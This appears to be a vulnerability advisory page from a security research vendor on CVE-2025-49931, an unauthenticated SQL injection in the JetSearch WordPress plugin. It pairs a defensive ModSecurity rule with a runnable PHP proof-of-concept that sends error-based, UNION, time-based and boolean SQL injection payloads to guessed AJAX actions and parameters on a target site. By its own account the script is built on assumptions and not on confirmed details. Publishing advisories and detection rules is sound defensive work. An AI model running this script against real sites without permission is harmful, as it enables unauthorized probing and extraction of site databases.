CVE-2025-49931: JetSearch <= 3.5.10 – Unauthenticated SQL Injection (jet-search)

# Atomic Edge WAF Rule - CVE-2025-49931 (metadata-based)
# This rule targets SQL injection attempts against JetSearch plugin AJAX endpoints
# The rule matches requests to admin-ajax.php with jet_search related actions
# and detects common SQL injection patterns in POST parameters
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202549931,phase:2,deny,status:403,chain,msg:'CVE-2025-49931: JetSearch SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2025-49931',tag:'WordPress',tag:'JetSearch',tag:'SQLi'"
  SecRule ARGS_POST:action "@rx ^jet_?search" 
    "chain,t:none"
    SecRule ARGS_POST "@detectSQLi" 
      "t:lowercase,t:urlDecodeUni,t:removeNulls,t:removeWhitespace"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-49931 - JetSearch <= 3.5.10 - Unauthenticated SQL Injection
<?php
/**
 * Proof of Concept for CVE-2025-49931
 * This script demonstrates SQL injection in JetSearch plugin <= 3.5.10
 * Assumptions based on WordPress plugin patterns:
 * 1. Vulnerability exists in an AJAX handler accessible via admin-ajax.php
 * 2. The 'action' parameter contains 'jet_search' or similar plugin prefix
 * 3. User input is passed via POST parameters without proper sanitization
 * 4. No authentication or nonce verification is required
 */

$target_url = "http://example.com/wp-admin/admin-ajax.php"; // CHANGE THIS

// Common AJAX action names for JetSearch plugin
$possible_actions = [
    'jet_search_ajax',
    'jet_search',
    'jetsearch_ajax',
    'jetsearch',
    'jet_search_get_results',
    'jet_search_search'
];

// SQL injection payload to extract database version
$payloads = [
    // Error-based injection to extract information
    "' AND 1=CAST((SELECT version()) AS INT)--",
    "' UNION SELECT 1,version(),3,4,5--",
    // Time-based blind injection
    "' AND SLEEP(5)--",
    // Boolean-based blind injection
    "' AND 1=1--",
    "' AND 1=2--"
];

// Common parameter names for search plugins
$param_names = ['search', 'query', 's', 'term', 'keyword', 'q'];

foreach ($possible_actions as $action) {
    echo "nTesting action: {$action}n";
    echo str_repeat("=", 50) . "n";
    
    foreach ($param_names as $param) {
        foreach ($payloads as $index => $payload) {
            $post_data = [
                'action' => $action,
                $param => $payload
            ];
            
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $target_url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);
            
            $start_time = microtime(true);
            $response = curl_exec($ch);
            $end_time = microtime(true);
            $response_time = $end_time - $start_time;
            
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            echo "Param: {$param}, Payload #{$index}, HTTP: {$http_code}, Time: " . round($response_time, 2) . "sn";
            
            // Check for indicators of SQL injection
            if (strpos($response, 'SQL syntax') !== false || 
                strpos($response, 'MySQL') !== false ||
                strpos($response, 'database') !== false) {
                echo "[!] Possible SQL error in responsen";
                echo "Response snippet: " . substr($response, 0, 200) . "...n";
            }
            
            // Check for time-based injection
            if ($response_time > 4.5 && strpos($payload, 'SLEEP') !== false) {
                echo "[!] Time delay detected - possible blind SQL injectionn";
            }
            
            // Check for version information in response
            if (preg_match('/[0-9]+.[0-9]+.[0-9]+/', $response, $matches)) {
                echo "[!] Possible version leak: {$matches[0]}n";
            }
            
            usleep(100000); // Small delay between requests
        }
    }
}

echo "nPoC completed. Manual verification required for positive results.n";
echo "Note: This PoC tests common patterns. Actual exploitation may requiren";
echo "adjusting the action name, parameter name, or payload syntax.n";
?>